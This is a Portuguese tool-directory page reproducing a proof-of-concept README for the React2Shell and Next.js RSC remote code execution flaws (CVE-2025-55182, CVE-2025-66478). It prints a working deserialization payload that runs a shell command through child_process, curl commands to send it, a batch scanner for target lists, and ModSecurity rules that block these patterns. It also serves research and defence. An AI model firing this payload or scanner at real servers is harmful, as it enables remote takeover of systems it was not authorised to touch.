Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-POC — MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478). Inclui payload de exploit, script de verificação em lote e regras ModSecurity WAF para mitigação. | Kitploit
Ferramentas/GitHubGitHub/huahuai23/cve-2025-55182-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478). Inclui payload de exploit, script de verificação em lote e regras ModSecurity WAF para mitigação.

Ver Repositório
12há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Reprodução das Vulnerabilidades CVE-2025-55182 / CVE-2025-66478

Este é um MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478).

⚠️ Aviso

Este projeto é apenas para fins de pesquisa e educação em segurança. Não o utilize em ambiente de produção ou em sistemas não autorizados.

Resumo das Vulnerabilidades

A CVE-2025-55182 é uma vulnerabilidade crítica nos React Server Components, afetando:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Através de uma requisição multipart/form-data especialmente criada, um atacante pode explorar uma vulnerabilidade de desserialização no Flight Protocol, resultando em execução remota de código (RCE).

Princípio do Ataque

  1. Obter referência a um Chunk: Usa a sintaxe $@N para obter um objeto Chunk interno
  2. Poluição de protótipo: Injeta um método then malicioso via $1:__proto__:then
  3. Acionar execução: O Server Action, ao fazer await, chama o método then poluído
  4. Sequestro de construtor: Sequestra _formData.get para o construtor Function
  5. Execução de código: Através da desserialização de Blob, executa código arbitrário

Início Rápido

1. Instalar dependências

npm install
# ou
yarn install
# ou
pnpm install

2. Iniciar servidor de desenvolvimento

npm run dev

O servidor será iniciado em http://localhost:3000.

3. Testar a vulnerabilidade

Use o script de teste fornecido:

# Teste em um único alvo
./test-exploit.sh http://localhost:3000

# Ou use curl diretamente
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

Se a vulnerabilidade existir, você verá uma saída semelhante a uid= (resultado da execução do comando id).

Estrutura de Arquivos

.
├── app/
│   ├── actions.ts              # Server Actions (ponto de gatilho da vulnerabilidade)
│   ├── page.tsx                # Página principal
│   ├── layout.tsx              # Layout
│   └── globals.css             # Estilos globais
├── package.json                # Configuração de dependências (usa versões vulneráveis)
├── next.config.js              # Configuração do Next.js
├── test-exploit.sh             # Script de teste de vulnerabilidade para alvo único
├── scan-targets.sh             # Script de varredura em lote
├── exploit-payload.txt         # Arquivo de payload de exploração
├── Cve-2025-55182-modsecurity-rules.conf      # Regras de proteção ModSecurity
└── README.md                   # Este arquivo

Explicação dos Scripts de Teste

1. test-exploit.sh - Teste em alvo único

Testa se uma única URL possui a vulnerabilidade:

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Característica: Se a resposta contiver uid= ou gid=, a vulnerabilidade está presente.

2. scan-targets.sh - Varredura em lote

Varre vários URLs alvo em lote:

# Crie um arquivo de lista de alvos
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Execute a varredura em lote
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

Os resultados da varredura serão salvos em vulnerable_hosts.csv.

Estrutura do Payload

{
  "then": "$1:__proto__:then",           // Sequestra o método then
  "status": "resolved_model",             // Controla o caminho de execução
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Aciona a desserialização de Blob
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Sequestra para Function
    }
  }
}

Pontos-chave:

  1. $@0: Referencia o primeiro campo form-data, obtendo o objeto Chunk
  2. $1:proto:then: Acessa Chunk.prototype.then
  3. _response._prefix: Código malicioso injetado (será executado pelo construtor Function)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

Soluções de Correção

Solução 1: Atualizar para versões corrigidas (recomendado)

  • React: 19.0.1, 19.1.2, 19.2.1 ou superior
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 ou superior
npm install [email protected] [email protected] [email protected]

Solução 2: Implantar regras ModSecurity WAF (mitigação temporária)

Se não for possível atualizar imediatamente, pode-se implantar regras ModSecurity como mitigação temporária.

Apache + mod_security

# 1. Instalar mod_security
sudo apt-get install libapache2-mod-security2

# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Incluir as regras na configuração do Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Adicionar: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Reiniciar o Apache
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. Instalar ModSecurity para Nginx
sudo apt-get install libnginx-mod-security

# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Ativar na configuração do Nginx
sudo vim /etc/nginx/nginx.conf
# No bloco http ou server adicione:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Reiniciar o Nginx
sudo systemctl restart nginx

Características detectadas pelas regras

As regras ModSecurity bloqueiam os seguintes padrões:

  • ✅ Características do Flight Protocol ($@N, $BN)
  • ✅ Poluição de protótipo (__proto__, constructor:constructor)
  • ✅ Chamadas perigosas a módulos Node.js (process.mainModule.require, require('child_process'))
  • ✅ Funções de execução de comandos (execSync, exec)
  • ✅ Manipulação de objetos internos (_response, _chunks, _formData, _prefix)
  • ✅ Cabeçalhos de Server Action (Next-Action, RSC-Action-ID)

⚠️ Nota: As regras WAF são apenas medidas temporárias de mitigação, não fornecem proteção completa. A atualização para versões corrigidas é necessária.

Recomendações de Segurança

Se sua aplicação pode estar vulnerável:

  1. Detecte imediatamente: Use o script test-exploit.sh para testar sua aplicação
  2. Atualize imediatamente: Atualize para as versões corrigidas
  3. Rode as chaves: Rode todas as variáveis de ambiente, chaves de API e senhas de banco de dados
  4. Audite logs: Verifique os logs de acesso em busca de requisições suspeitas com Next-Action
  5. Implante WAF: Antes da atualização, implante as regras ModSecurity como proteção temporária

Comando curl para teste rápido

Se quiser testar diretamente com curl (sem usar o script):

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

Se a resposta conter uid= ou gid=, a vulnerabilidade está presente.

Referências

  • Comunicado oficial da Vercel
  • GHSA do React
  • GHSA do Next.js
  • PoC da CVE (React)
  • Scanner da CVE (Next.js)
  • Documentação do ModSecurity

Agradecimentos

  • Lachlan Davidson - Descobriu e reportou responsavelmente a vulnerabilidade
  • Meta Security & React Team
  • Vercel Team

Licença

Baixar ferramenta